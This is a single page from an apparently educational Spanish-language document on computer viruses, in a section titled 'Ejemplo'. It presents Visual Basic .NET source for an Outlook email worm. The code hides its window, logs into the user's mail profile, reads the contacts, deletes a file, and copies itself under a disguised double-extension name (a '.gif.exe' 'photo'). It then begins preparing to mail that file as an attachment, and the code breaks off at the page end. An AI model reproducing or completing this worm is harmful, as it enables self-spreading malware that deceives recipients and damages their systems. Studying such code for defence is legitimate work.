Page 30 - Virus Informaticos
P. 30

___________________________________________________________________________Virus


            12    Ejemplo


            Después de todos los apartados anteriores donde se trataban temas más teóricos que prácticos,
            nos encontramos en situación de poder escribir un sencillo virus de ejemplo. En primera instancia
            explicaremos  como  escribir  un  gusano  en  Visual  Basic  .net  y  posteriormente  se  comparará  y
            explicará el código del gusano Melissa.

            Lo  primera  será  crear  un  nuevo  proyecto  de  Visual  Basic  .net  y  clickear  dos  veces  sobre  el
            formulario principal, con esto pasaremos a escribir el código que se ejecutará cuando se cargue el
            formulario.  Introduciremos  el  siguiente  código  donde  ya  se  explica  en  los  comentarios  el
            funcionamiento del mismo:

            Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As
            System.EventArgs) Handles MyBase.Load


                   Me.Hide()
                   ' Creamos una aplicacion de Outlook
                    Dim oApp As Outlook.Application = New Outlook.Application
                    Dim oNS As Outlook.NameSpace = oApp.GetNamespace("mapi")

                    ' Nos identificamos como quienes somos los usuarios del sistema ☺
                    oNS.Logon("", "", False, True)

                    'Abrimos los contactos *(1)

                      Dim cContacts As Outlook.MAPIFolder =
                      oNS.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderContacts)

                     'Definimos las variables necesarias para recorrer los contactos
                    Dim oItems As Outlook.Items = cContacts.Items
                    Dim oCt As Outlook.ContactItem
                    Dim i As Int16

                    'Borramos/Modificamos/Grabamos todo aquello que se considere oportuno
                      'Tendras permiso para hacer todo lo que los permisos del usuario te
                      'permitan
                     System.IO.File.Delete("C:\archivo.exe")
                     System.IO.File.Copy(Application.ExecutablePath,
                     "C:\FotoDeLaChicSuperMegaGuapa.gif.exe")

                    'Vamos a mandar los emails ☺
                    Dim sBodyLen As String
                    Dim oMsg As Outlook._MailItem 'Un objeto email para enviar
                     'Ruta del fichero que vamos a adjuntar
                     Dim sSource As String = "C:\FotoDeLaChicSuperMegaGuapa4.gif.exe"
                    Dim sDisplayName As String = "FotoDeLaChicSuperMegaGuapa4.exe"














                                                                                                  Página | 33
   25   26   27   28   29   30   31   32   33   34   35